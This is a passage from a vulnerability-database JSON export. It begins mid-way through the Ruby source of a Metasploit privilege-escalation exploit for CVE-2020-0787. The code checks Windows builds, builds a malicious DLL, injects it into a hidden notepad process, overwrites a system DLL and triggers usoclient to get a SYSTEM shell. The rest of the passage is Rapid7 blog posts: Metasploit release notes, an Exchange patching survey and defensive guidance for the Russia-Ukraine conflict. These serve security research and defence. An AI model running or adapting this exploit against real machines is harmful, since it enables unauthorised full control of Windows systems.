Gem::Version.new('10.0.10240.18519')) # Windows 10 v1507 \nreturn CheckCode::Appears('Vulnerable Windows 10 v1507 build detected!') \nelsif (build_num_gemversion >= Gem::Version.new('6.3.9600.0')) && (build_num_gemversion < Gem::Version.new('6.3.9600.19665')) # Windows 8.1/Windows Server 2012 R2 \ntarget_not_presently_supported \nreturn CheckCode::Appears('Vulnerable Windows 8.1/Windows Server 2012 R2 build detected!') \nelsif (build_num_gemversion >= Gem::Version.new('6.2.9200.0')) && (build_num_gemversion < Gem::Version.new('6.2.9200.23009')) # Windows 8/Windows Server 2012 \ntarget_not_presently_supported \nreturn CheckCode::AppearsAppears('Vulnerable Windows 8/Windows Server 2012 build detected!') \nelsif (build_num_gemversion >= Gem::Version.new('6.1.7600.0')) && (build_num_gemversion < Gem::Version.new('6.1.7601.24549')) # Windows 7/Windows Server 2008 R2 \ntarget_not_presently_supported \nreturn CheckCode::Appears('Vulnerable Windows 7/Windows Server 2008 R2 build detected!') \nelsif (build_num_gemversion >= Gem::Version.new('6.0.6001.0')) && (build_num_gemversion < Gem::Version.new('6.0.6003.20749')) # Windows Server 2008/Windows Server 2008 SP2 \ntarget_not_presently_supported \nreturn CheckCode::Appears('Windows Server 2008/Windows Server 2008 SP2 build detected!') \nelse \nreturn CheckCode::Safe('The build number of the target machine does not appear to be a vulnerable version!') \nend \nend \n \ndef check_target_is_running_supported_windows_version \nif sysinfo['OS'].match('Windows').nil? \nfail_with(Failure::NotVulnerable, 'Target is not running Windows!') \nelsif sysinfo['OS'].match('Windows 10').nil? && sysinfo['OS'].match('Windows Server 2016').nil? && sysinfo['OS'].match('Windows Server 2019').nil? \nfail_with(Failure::BadConfig, 'Target is running Windows, its not a version this module supports! Bailing...') \nend \nend \n \ndef check_target_and_payload_match_and_supported(client_arch) \nif (client_arch != ARCH_X64) && (client_arch != ARCH_X86) \nfail_with(Failure::BadConfig, 'This exploit currently only supports x86 and x64 targets!') \nend \npayload_arch = payload.arch.first # TODO: Add missing documentation for payload.arch, @wvu used this first but it is not documented anywhere. \nif (payload_arch != ARCH_X64) && (payload_arch != ARCH_X86) \nfail_with(Failure::BadConfig, \"Unsupported payload architecture (#{payload_arch})\") # Unsupported architecture, so return an error. \nend \nif ((client_arch == ARCH_X64) && (payload_arch != ARCH_X64)) || ((client_arch == ARCH_X86) && (payload_arch != ARCH_X86)) \nfail_with(Failure::BadConfig, \"Payload architecture (#{payload_arch}) doesn't match the architecture of the target (#{client_arch})!\") \nend \nend \n \ndef check_windowscoredeviceinfo_dll_exists_on_target \n# Taken from bwatters-r7's cve-2020-0688_service_tracing.rb code. \n# \n# We are going to overwrite the WindowsCoreDeviceInfo.dll DLL as part of our exploit. \n# The second part of this exploit will trigger a Update Session to be created so that this DLL \n# is loaded, which will result in arbitrary code execution as SYSTEM. \n# \n# To prevent any errors, we will first check that this file doesn't exist and ask the user if they are sure \n# that they want to overwrite the file. \nwin_dir = session.sys.config.getenv('windir') \nnormal_target_payload_pathname = \"#{win_dir}\\\\System32\\\\WindowsCoreDeviceInfo.dll\" \nwow64_target_payload_pathname = \"#{win_dir}\\\\Sysnative\\\\WindowsCoreDeviceInfo.dll\" \nwow64_existing_file = \"#{win_dir}\\\\Sysnative\\\\win32k.sys\" \nif file?(wow64_existing_file) \nif file?(wow64_target_payload_pathname) \nprint_warning(\"#{wow64_target_payload_pathname} already exists\") \nprint_warning('If it is in use, the overwrite will fail') \nunless datastore['OVERWRITE_DLL'] \nprint_error('Change OVERWRITE_DLL option to true if you would like to proceed.') \nfail_with(Failure::BadConfig, \"#{wow64_target_payload_pathname} already exists and OVERWRITE_DLL option is false\") \nend \nend \ntarget_payload_pathname = wow64_target_payload_pathname \nelsif file?(normal_target_payload_pathname) \nprint_warning(\"#{normal_target_payload_pathname} already exists\") \nprint_warning('If it is in use, the overwrite will fail') \nunless datastore['OVERWRITE_DLL'] \nprint_error('Change OVERWRITE_DLL option to true if you would like to proceed.') \nfail_with(Failure::BadConfig, \"#{normal_target_payload_pathname} already exists and OVERWRITE_DLL option is false\") \nend \ntarget_payload_pathname = normal_target_payload_pathname \nend \ntarget_payload_pathname \nend \n \ndef launch_background_injectable_notepad \nprint_status('Launching notepad to host the exploit...') \nnotepad_process = client.sys.process.execute('notepad.exe', nil, 'Hidden' => true) \nprocess = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS) \nprint_good(\"Process #{process.pid} launched.\") \nprocess \nrescue Rex::Post::Meterpreter::RequestError \n# Sandboxes could not allow to create a new process \n# stdapi_sys_process_execute: Operation failed: Access is denied. \nprint_error('Operation failed. Trying to elevate the current process...') \nprocess = client.sys.process.open \nprocess \nend \n \ndef exploit \n# NOTE: Automatic check is implemented by the AutoCheck mixin \nsuper \n \n# Step 1: Check target environment is correct. \nprint_status('Step #1: Checking target environment...') \nif is_system? \nfail_with(Failure::None, 'Session is already elevated') \nend \nclient_arch = sysinfo['Architecture'] \ncheck_target_is_running_supported_windows_version \ncheck_target_and_payload_match_and_supported(client_arch) \ncheck_windowscoredeviceinfo_dll_exists_on_target \n \n# Step 2: Generate the malicious DLL and upload it to a temp location. \nprint_status('Step #2: Generating the malicious DLL...') \npath = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2020-0787') \ndatastore['EXE::Path'] = path \nif client_arch =~ /x86/i \ndatastore['EXE::Template'] = ::File.join(path, 'template_x86_windows.dll') \nlibrary_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2020-0787', 'CVE-2020-0787.x86.dll') \nlibrary_path = ::File.expand_path(library_path) \nelsif client_arch =~ /x64/i \ndatastore['EXE::Template'] = ::File.join(path, 'template_x64_windows.dll') \nlibrary_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2020-0787', 'CVE-2020-0787.x64.dll') \nlibrary_path = ::File.expand_path(library_path) \nend \n \npayload_dll = generate_payload_dll \nprint_status(\"Payload DLL is #{payload_dll.length} bytes long\") \ntemp_directory = session.sys.config.getenv('%TEMP%') \nmalicious_dll_location = \"#{temp_directory}\\\\\" + Rex::Text.rand_text_alpha(6..13) + '.dll' \nwrite_file(malicious_dll_location, payload_dll) \nregister_file_for_cleanup(malicious_dll_location) \n \n# Step 3: Load the main DLL that will trigger the exploit and conduct the arbitrary file copy. \nprint_status('Step #3: Loading the exploit DLL to run the main exploit...') \nprocess = launch_background_injectable_notepad \n \nprint_status(\"Injecting DLL into #{process.pid}...\") \nexploit_mem, offset = inject_dll_into_process(process, library_path) \n \ndll_info_parameter = malicious_dll_location.to_s \npayload_mem = inject_into_process(process, dll_info_parameter) \n \n# invoke the exploit, passing in the address of the payload that \n# we want invoked on successful exploitation. \nprint_status('DLL injected. Executing injected DLL...') \nprocess.thread.create(exploit_mem + offset, payload_mem) \n \nprint_status(\"Sleeping for #{datastore['JOB_WAIT_TIME']} seconds to allow the exploit to run...\") \nsleep datastore['JOB_WAIT_TIME'] \n \nregister_file_for_cleanup('C:\\\\Windows\\\\System32\\\\WindowsCoreDeviceInfo.dll') # Register this file for cleanup so that if we fail, then the file is cleaned up. \n# Normally we can't delete this file though as there will be a SYSTEM service that has a handle to this file. \n \nprint_status(\"Starting the interactive scan job...\") \n# Step 4: Execute `usoclient StartInteractiveScan` to trigger the payload \n# XXX Using session.shell_command_token over cmd_exec() here as @wvu-r7 noticed cmd_exec() was broken under some situations. \nsession.shell_command_token('usoclient StartInteractiveScan') \n \nprint_status(\"Enjoy the shell!\") \nend \nend \n`\n", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}, "sourceHref": "https://packetstormsecurity.com/files/download/158056/cve_2020_0787_bits_arbitrary_file_move.rb.txt"}], "rapid7blog": [{"lastseen": "2022-02-25T23:28:01", "description": "## Exchange RCE\n\n\n\nExchange remote code execution vulnerabilities are always valuable exploits to have. This week Metasploit added an exploit for an authenticated RCE in Microsoft Exchange servers 2016 and server 2019 identified as [CVE-2021-42321](<https://attackerkb.com/topics/4JMe2Y1WSY/cve-2021-42321?referrer=blog>). The flaw leveraged by the exploit exists in a misconfigured denylist that failed to prevent a serialized blob from being loaded resulting in code execution. While this is an authenticated vulnerability, a standard user has sufficient permissions to trigger it which likely encompasses most users within an organization that uses Exchange. The vulnerability affects Exchange Server 2019 CU10 prior to Security Update 3, Exchange Server 2019 CU11 prior to Security Update 2, Exchange Server 2016 CU21 prior to Security Update 3, and Exchange Server 2016 CU22 prior to Security Update 2.\n\n## Chrome Password Decryption\n\nCommunity member [timwr](<https://github.com/timwr>) updated the existing Chrome enumeration module to support decrypting passwords from modern versions of Chrome. The module can now decrypt both the new and old formats of passwords. This is helpful because when Chrome is updated, passwords in the old format are not updated to the new format.\n\n## New module content (2)\n\n * [Microweber CMS v1.2.10 Local File Inclusion (Authenticated)](<https://github.com/rapid7/metasploit-framework/pull/16156>) by Talha Karakumru - Adds a new module `auxiliary/gather/microweber_lfi` which targets Microweber CMS v1.2.10 and allows authenticated users to read arbitrary files on disk.\n * [Microsoft Exchange Server ChainedSerializationBinder Deny List Typo RCE](<https://github.com/rapid7/metasploit-framework/pull/16164>) by Grant Willcox, Microsoft Security Response Center, Microsoft Threat Intelligence Center, peterjson, pwnforsp, testanull, and zcgonvh, which exploits [CVE-2021-42321](<https://attackerkb.com/topics/4JMe2Y1WSY/cve-2021-42321?referrer=blog>) \\- This adds an exploit for CVE-2021-42321 which is an authenticated RCE in Microsoft Exchange. The vulnerability is related to a misconfigured deny-list that fails to properly prevent malicious serialized objects from being loaded, leading to code execution.\n\n## Enhancements and features\n\n * [#16061](<https://github.com/rapid7/metasploit-framework/pull/16061>) from [shoxxdj](<https://github.com/shoxxdj>) \\- The `wordpress_scanner` module has been updated to support enumerating WordPress users using the `wp-json` API.\n * [#16200](<https://github.com/rapid7/metasploit-framework/pull/16200>) from [timwr](<https://github.com/timwr>) \\- This updates post/windows/enum_chrome to support decrypting stored passwords for Chrome versions greater than 80.\n\n## Bugs fixed\n\n * [#16197](<https://github.com/rapid7/metasploit-framework/pull/16197>) from [adfoster-r7](<https://github.com/adfoster-r7>) \\- This fixes an edge case when reading files on Windows, and fixes Ruby 3 crashes when reading files.\n * [#16215](<https://github.com/rapid7/metasploit-framework/pull/16215>) from [bwatters-r7](<https://github.com/bwatters-r7>) \\- This updates payloads version to 2.0.75, taking in the changes landed in <https://github.com/rapid7/metasploit-payloads/pull/542> and fixes a bug in Windows Meterpreter `getsystem` command where a failed attempt to elevate can result in a partially-broken session.\n * [#16093](<https://github.com/rapid7/metasploit-framework/pull/16093>) from [h00die](<https://github.com/h00die>) \\- A number of broken URL references have been fixed in Metasploit modules. In addition, the `tools/modules/module_reference.rb` code has been updated to log redirects so that they can be appropriately triaged later and to support saving results to a CSV file. Finally, several modules had their code adjusted to conform to RuboCop standards.\n\n## Get it\n\nAs always, you can update to the latest Metasploit Framework with `msfupdate` \nand you can get more details on the changes since the last blog post from \nGitHub:\n\n * [Pull Requests 6.1.30...6.1.31](<https://github.com/rapid7/metasploit-framework/pulls?q=is:pr+merged:%222022-02-16T23%3A31%3A40-06%3A00..2022-02-24T11%3A00%3A46-06%3A00%22>)\n * [Full diff 6.1.30...6.1.31](<https://github.com/rapid7/metasploit-framework/compare/6.1.30...6.1.31>)\n\nIf you are a `git` user, you can clone the [Metasploit Framework repo](<https://github.com/rapid7/metasploit-framework>) (master branch) for the latest. \nTo install fresh without using git, you can use the open-source-only [Nightly Installers](<https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers>) or the \n[binary installers](<https://www.rapid7.com/products/metasploit/download.jsp>) (which also include the commercial edition).", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-02-25T21:48:46", "type": "rapid7blog", "title": "Metasploit Weekly Wrap-Up", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.5, "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-42321"], "modified": "2022-02-25T21:48:46", "id": "RAPID7BLOG:F128DF1DF900C5377CF4BBF1DFD03A1A", "href": "https://blog.rapid7.com/2022/02/25/metasploit-weekly-wrap-up-2/", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}, {"lastseen": "2020-09-29T16:39:11", "description": "\n\nToday's topic is Exchange 2010, which reaches end of support (EoS) on Oct. 13, 2020, as well as a survey of other versions of Exchange and how well they are being kept up-to-date. During our work with [Project Sonar](<https://www.rapid7.com/research/project-sonar/>), we consistently see the use of old and EoS software on the internet. This is generally a cause for concern, because this typically means that vulnerabilities will not be fixed. It is also an indicator that the environment the software is running in has other security issues.\n\nThe key takeaways from this post are:\n\n * Organizations running Exchange 2010 and earlier should upgrade to supported technology as soon as possible.\n * Organizations running Exchange 2013 should begin planning to upgrade to newer technologies.\n * Statistically speaking, most organizations running any version of Exchange are missing updates for critical vulnerabilities.\n\nBefore I move on, I want to point out that our numbers here will be fairly accurate, but not perfect. This is due to a couple of factors: First, the method that we use to fingerprint Exchange OWA allows us to determine the Exchange version down to `<major version>.<minor version>.<build number>`, but we cannot see the revision. For example, for Exchange Server 2019 Cumulative Update (CU) 7, with the latest updates the build number is `15.2.721.2`, but we only see `15.2.721`. This means that we can tell that the server is running 2019 CU7, but we can't be sure whether this month's patches were installed. Second, and most frustrating, is that Microsoft's updates don't always adjust the version number shown by tooling. Even Microsoft's own Exchange Admin Center and `Get-ExchangeServer` command will report incorrect versions in many instances.\n\n#### NEVER MISS A BLOG\n\nGet the latest stories, expertise, and news about security today.\n\nSubscribe\n\n \n\n\n## Exchange 2010: A decade of support ends\n\nJust under 11 years ago, Microsoft released Exchange 2010. On Tuesday, Oct. 13, 2020, Microsoft Exchange 2010 will reach [End of Support (EoS) status](<https://techcommunity.microsoft.com/t5/exchange-team-blog/microsoft-extending-end-of-support-for-exchange-server-2010-to/ba-p/753591>). Microsoft will not provide **any** updates, including security fixes, after this date. While the software will keep working after this date, a quick glance at the Exchange vulnerabilities announced in 2020 will quickly show the importance of security updates.\n\nIn March 2020, we used Project Sonar to measure the number of Exchange servers that might be vulnerable to [CVE-2020-0688](<https://blog.rapid7.com/2020/04/06/phishing-for-system-on-microsoft-exchange-cve-2020-0688/>). At that time, we found over 166,000 Exchange 2010 servers with internet-facing Outlook Web App (OWA) services. On Monday, Sept. 21, 2020, we looked again and found that while the numbers had decreased, there are still 139,771 OWA services.\n\n\n\nThat's a scary number of servers that will not receive security updates for any future vulnerabilities. Both scary and disappointing is the fact that 40,000 of these were already running unsupported versions of Exchange 2010. Nearly 54,000 of these have not been updated in six years!\n\n## Exchange 2007: Long past its expiration date\n\nSpeaking of software that hasn't seen updates in years, there are 16,577 Exchange 2007 servers with OWA on the public internet. This product has been out of support for over three years. Additionally, the newest version of Windows Server that Exchange 2007 runs on is Windows Server 2008 R2, which reached EoS in January 2020. In summary, this is a business-critical application running in an environment in which vulnerabilities will not be fixed.\n\n\n\n## Exchange 2013: The twilight years\n\nExchange 2013 transitioned to Extended Support in 2018 and will cease to be supported at all on April 11, 2023. Additionally, the newest version of Windows Server that Exchange 2013 runs on is Windows Server 2012 R2, [which reaches EoS on Oct. 10, 2023](<https://docs.microsoft.com/en-us/lifecycle/products/windows-server-2012-r2>). In short, the full Exchange 2013 environment, other than AD, will be **completely unsupported** in less than three years.\n\nOur Project Sonar metrics for OWA show that there are at least 102,593 Exchange 2013 servers on the public internet. Further, 67,567 (~66%) are not running a version of Exchange that Microsoft considers "Supported."\n\n\n\nGiven that Exchange is typically considered a business-critical application, and how complex an upgrade can be, we strongly recommend that organizations running Exchange 2013 start planning the upgrade process and timeline. The \n"Upgrading considerations" portion of the "Taking actions" section at the end of the blog post calls out a few of the considerations that might make this process time-consuming or challenging.\n\n## Exchange 2016 and 2019: Newer, but still vulnerable\n\nWhile Exchange 2016 and 2019 will be supported for some time to come, organizations running them appear to be doing a poor job of keeping their environments up-to-date.\n\nOf the ~138,000 Exchange 2016 servers, 87% were missing the most recent updates.\n\n\n\nSimilarly, 77% of the ~25,000 Exchange 2019 servers we observed were missing updates. There are nearly 2,100 that, as far as we can tell, have _never_ had updates installed.\n\n\n\n## Taking action\n\nGiven the potential risks that a compromised Exchange environment present, we have the following recommendations:\n\n * Organizations using Exchange 2010 or earlier should aggressively pursue upgrading their environment to supported technologies.\n * Organizations using Exchange 2013 should ensure they have a plan and timeline for upgrading to supported technologies by April 11, 2023. Remember that the most modern version of Windows Server that 2013 supports is also going EoS that year, so the process may introduce new server OSes into the environment as well. Please see the "Upgrading considerations" section below for some of the challenges that may need to be accounted for.\n * Organizations using Exchange 2016 or on-premises 2019 should ensure their Exchange environment is currently up-to-date and that there is a plan and process for keeping it updated.\n * Organizations using Exchange hosted by a non-Microsoft vendor should ensure the vendor has a plan and process for keeping the software up-to-date. They should also verify this is being done and hold the vendor accountable if not.\n * Leverage [vulnerability management tools](<https://www.rapid7.com/products/insightvm/>) and other types of tools to detect when Exchange environments are missing updates. They will be particularly helpful when Exchange version numbers cannot be reliably determined.\n\n### Upgrading considerations\n\nUpgrading an Exchange environment is a very complex task that is compounded by the server and client dependencies. This is why planning in advances is critical. Here are some examples of some issues organizations may run into when planning an upgrade:\n\n * **Upgrading from Exchange 2010:** There is no direct upgrade path from Exchange 2010 to Exchange 2019. Organizations will need to upgrade to Exchange 2013 or 2016 first.\n * **Active Directory (AD) server OS:** Exchange 2019 doesn't support Windows Server 2012 AD servers and requires the AD forest functional level to be at least 2012 R2.\n * **TLS:** Exchange 2019, by default, requires TLS 1.2. This means that clients will need to support TLS 1.2, or other workarounds will need to be implemented in order to support legacy clients.\n * **Outlook compatibility:** Exchange 2019 requires at least Outlook 2013 with the most recent updates. Keep in mind that Outlook 2013 goes EoS April 11, 2023, so those leveraging it should upgrade to Outlook 2016 or higher.\n * **Unified Messaging (UM):** UM was removed in Exchange 2019\n * **Web browser compatibility:** Exchange 2019 doesn't support Internet Explorer 10 or lower.\n\n#### Assess Your Environment for Microsoft Exchange Vulnerabilities and Take Action\n\n[Get Started](<https://www.rapid7.com/trial/insightvm/>)", "cvss3": {}, "published": "2020-09-29T16:05:16", "type": "rapid7blog", "title": "Microsoft Exchange 2010 End of Support and Overall Patching Study", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-0688"], "modified": "2020-09-29T16:05:16", "id": "RAPID7BLOG:EAEC3BF3C403DB1C2765FD14F0E03A85", "href": "https://blog.rapid7.com/2020/09/29/microsoft-exchange-2010-end-of-support-and-overall-patching-study/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2022-02-25T03:28:00", "description": "\n\nNow that [Russia has begun its armed invasion of Ukraine](<https://www.axios.com/putin-delares-war-on-ukraine-5a28dbd5-362f-4e97-91e1-84272f7390fd.html>), we should expect increasing risks of cybersecurity attacks and incidents, either as spillover from cyberattacks targeting Ukraine or direct attacks against actors supporting Ukraine.\n\nAny state-sponsored Russian attacks aiming to support the Russian invasion of Ukraine, or to retaliate for US, NATO, or other foreign measures taken in response to the Russian invasion of Ukraine, are most likely to be destructive or disruptive in nature rather than aiming to steal data. This blog discusses the types of attacks organizations may see \u2014 including distributed denial of service (DDoS), website defacements, and the use of ransomware or destructive malware \u2014 and recommends steps for their mitigation or remediation. \n\nAs we have [stated](<https://www.rapid7.com/blog/post/2022/02/15/prudent-cybersecurity-preparation-for-the-potential-russia-ukraine-conflict/>) before, we do not believe organizations need to panic. But as per guidance from numerous governments, we do believe it is wise to be extra vigilant at this time. Rapid7 will continue to monitor the cybersecurity risks, both internally and for our Managed Detection and Response (MDR) customers as the situation evolves. We will post updates as relevant and suggest subscription to our blog to see them as they are posted. \n\n\n## Malware\n\nOne of the most concerning possibilities is the risk of a destructive malware attack on the US, NATO members, or other foreign countries. This could take the form of a direct attack or spillover from an attack on Ukraine, such as the [2017 NotPetya operation that targeted Ukraine and spread to other parts of the globe](<https://www.rapid7.com/blog/post/2017/06/27/petya-ransomware-explained/>). Cybersecurity researchers have just discovered a new data wiping malware, dubbed HermeticWiper (AKA KillDisk.NCV), that infected hundreds of Ukrainian machines in the last two months. This seems to be a custom-written malware that corrupts the Master Boot Record (MBR), resulting in boot failure. This malware, like NotPetya, is intended to be destructive and will cripple the assets that it infects. \n\nAs always, the best malware prevention is to avoid infection in the first place \u2014 a risk we can minimize by ensuring that assets are up to date and use strong access controls, including multi-factor authentication. Additionally, it is crucial to have an incident response plan in place for the worst-case scenario, as well as a business continuity plan \u2014 including failover infrastructure if possible \u2014 for business-critical assets. \n\n\n## DDoS\n\nThere have already been [reports](<https://www.vice.com/en/article/v7dpbd/ukraines-military-banks-suffering-ddos-attacks>) of DDoS attacks on Ukrainian websites, and Russia has [historically](<https://cyberlaw.ccdcoe.org/wiki/Georgia-Russia_conflict_\\(2008\\)>) used DDoS in support of operations against other former Soviet republics, such as Georgia, in the past. Given this context, it is plausible that state-sponsored Russian actors would use DDoS if they choose to retaliate in response to measures taken against Russia for the invasion of Ukraine, such as sanctions or cyber operations from NATO countries. \n\nWhile DDoS does not receive the same level of attention as some other forms of attack, it can still have significant impacts to business operations. DDoS mitigations can include reduction of attack surface area via Content Distribution Networks or load balancers, as well as the use of Access Control Lists and firewalls to drop traffic coming from attacker nodes. \n\n\n## Phishing campaigns\n\nRussian state-sponsored actors are also well known for [engaging in spear-phishing attacks](<https://www.cisa.gov/uscert/ncas/alerts/TA18-074A>), specifically with compromised valid accounts. Defenders should ensure strong spam filtering and attachment scanning is in place. Educating end users of the dangers of phishing and regularly running phishing campaigns will also help mitigate this issue.\n\nState-sponsored, APT-style groups are not the only relevant threats. In times of crisis, it is common to see phishing attacks linking to malicious websites masquerading as news, aid groups, or other seemingly relevant content. Opportunistic scammers and other bad actors will attempt to take advantage of our human nature when curiosity, anxiety, and desire to help can make people less suspicious. Remain vigilant and avoid clicking unknown links or opening attachments \u2014 basic cyber hygiene that can be forgotten when emotions run high. \n\n\n## Brute-force attacks\n\n[According to a report from the NSA, CISA, FBI, and NCSC](<https://media.defense.gov/2021/Jul/01/2002753896/-1/-1/1/CSA_GRU_GLOBAL_BRUTE_FORCE_CAMPAIGN_UOO158036-21.PDF>), \u201cFrom mid-2019 through early 2021, Russian General Staff Main Intelligence Directorate (GRU) \u2026 conduct[ed] widespread, distributed, and anonymized brute-force access attempts against hundreds of government and private sector targets worldwide.\u201d GRU used the discovered credentials to gain access into networks and further used known vulnerabilities such as CVE-2020-0688 and CVE-2020-17144 to increase access.\n\nThe best mitigation for these types of attacks is to enable MFA on all systems. Minimize externally facing systems and ensure externally facing systems are fully patched. \n\n\n## Defacement\n\nUkraine has also been experiencing website defacements, which provide attackers with an opportunity to spread messaging. Website defacement is typically associated with hacktivist activity, but state-sponsored Russian actors could pose as hacktivists in order to disguise Russian state involvement, and spread their strategic communication themes to international audiences by defacing Western websites. \n\nWebsite defacement often occurs as a result of weak passwords for admin accounts, cross-site scripting, injection, file upload, or vulnerable plugins. This can be managed by limiting the level of access accounts have and enforcing strong passwords. Additionally, looking for places where scripts or iframes could be injected or where SQL injection could occur can help identify vulnerabilities to remediate. \n\n\n## Ransomware\n\nRansomware could also be used to disrupt foreign targets. Criminals based in Russia were [believed](<https://thehill.com/homenews/administration/589850-biden-administration-says-russia-arrested-colonial-pipeline-hacker>) to be behind the 2021 ransomware attack on Colonial Pipeline in the United States. Ransomware can have disruptive effects on targets, and the attackers could simply refrain from decrypting files, even if they receive ransom payments, in order to maximize and extend the disruptive impact on victims. Additionally, opportunistic attackers who are actually looking for ransoms will still be on the prowl, and are likely to take advantage of the chaos. \n\nTo this end, defenders should:\n\n * Evaluate asset and application configurations to ensure resilience\n * Double-check visibility into the functioning of business-critical assets\n * Assess incident response processes in the case of an incident \n\n\n## What else should you be doing?\n\nThe following activities are mission-critical in times of uncertainty, but they are also best practices in general.\n\n * **Continuous monitoring: **Reinforce cybersecurity measures and staff during nights, weekends, and holidays. Threat actors are known to target their victims when there are gaps in \u201ceyes on glass.\u201d\n * **Incident response plan:** Prepare a dedicated team with a detailed workflow and a contact person that will be available offline in case of a cybersecurity incident.\n * **Back up data:** Implement data backup procedures of the company networks and systems. Backup procedures should be conducted on a frequent, regular basis for immediate recovery. Also, be sure to store backups offline and check them regularly to ensure they have not been poisoned with malware.\n * **Reduce opportunities for attackers: **Identify exposures, vulnerabilities, and misconfigurations that can provide opportunities for attackers to gain a foothold in your environment, and apply relevant mitigations or patches. In particular, Russian operators are well known to exploit edge systems. The Cybersecurity and Infrastructure Security Agency (CISA) [recently put out an alert](<https://www.cisa.gov/uscert/ncas/alerts/aa22-011a>) listing 13 known vulnerabilities that Russian state-sponsored threat actors use to initially compromise networks. We recommend this as a starting point for focused patching and mitigation.\n * **Stay informed:** Follow the latest updates and recommendations provided by Rapid7, as well as governmental security entities in specific press releases/alerts from the [Ukraine CERT](<https://cert.gov.ua/>), [The Security Service of Ukraine (SSU)](<https://ssu.gov.ua/en>), and the [US CISA](<https://www.cisa.gov/uscert>).\n\nWe expect the situation to be fluid over the coming days and weeks, and security guidance and threats may also evolve as the conflict develops. The measures suggested in this blog will continue to be relevant, and we plan to provide additional information as needed. \n\nIn the meantime, you can also [check this blog](<https://www.rapid7.com/blog/post/2022/02/25/russia-ukraine-conflict-what-is-rapid7-doing-to-protect-my-organization/>) to see how Rapid7 can help you prepare for and respond to cyber attacks. We also recommend organizations check their government\u2019s cybersecurity website for guidance.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-02-25T01:31:27", "type": "rapid7blog", "title": "Staying Secure in a Global Cyber Conflict", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-0688", "CVE-2020-17144"], "modified": "2022-02-25T01:31:27", "id": "RAPID7BLOG:CBD7A5DA1DAAE9DCFD01F104F4B1B5FB", "href": "https://blog.rapid7.com/2022/02/25/russia-ukraine-staying-secure-in-a-global-cyber-conflict/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2020-10-09T20:40:17", "description": "## SAP Internet Graphics Server (IGS)\n\n\n\nThis week includes a new module targeting the SAP Internet Graphics Server application, contributed by community member [Vladimir Ivanov](<https://github.com/Vladimir-Ivanov-Git>). This particular module covers two CVEs that are both XML External Entity (XXE) bugs that are remotely exploitable. The module comes fully featured with the ability to check for the presence of the vulnerabilities as well as two methods to leverage them. The first is a read action that allows users to read files from the remote server, while the second can be used to trigger a denial of service (DoS) condition.\n\n## Just read the (new Zerologon) docs\n\nThe module documentation for the Zerologon ([CVE-2020-1472](<https://attackerkb.com/topics/7FbcgDOidQ/cve-2020-1472-aka-zerologon?referrer=wrapup>)) module has been updated with details of how to run the entire attack workflow through Metasploit. This specifically included leveraging the new `auxiliary/gather/windows_secrets_dump` which can recover the machine password to restore on the targeted Domain Controller and using the PSexec module to execute a payload. It\u2019s important to restore the machine account password to prevent services from breaking. Module documentation can be accessed from msfconsole by using the `info -d` command. The most recent Metasploit Demo meeting also covered this content, [showing](<https://www.youtube.com/watch?v=Z5oQmHVsqjA&t=1648>) the newly documented workflow in action.\n\n## New modules (1)\n\n * [SAP Internet Graphics Server (IGS) XMLCHART XXE](<https://github.com/rapid7/metasploit-framework/pull/14163>) by Vladimir Ivanov and Yvan Genuer, which exploits [CVE-2018-2393](<https://attackerkb.com/topics/EmAs1SnpOK/cve-2018-2393?referrer=wrapup>)\n\n## Enhancements and features\n\n * [Update sap_service_discovery.rb to support discovering SAP IGS servers](<https://github.com/rapid7/metasploit-framework/pull/14238>) by Vladimir Ivanov\n * [Tab-completion improved for module OPTIONS not available](<https://github.com/rapid7/metasploit-framework/pull/14070>) by mariabelenTC\n * [Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates](<https://github.com/rapid7/metasploit-framework/pull/14213>) by Alan David Foster\n * [Add the DOMAIN option to the CVE-2020-0688 Exploit](<https://github.com/rapid7/metasploit-framework/pull/14190>) by Spencer 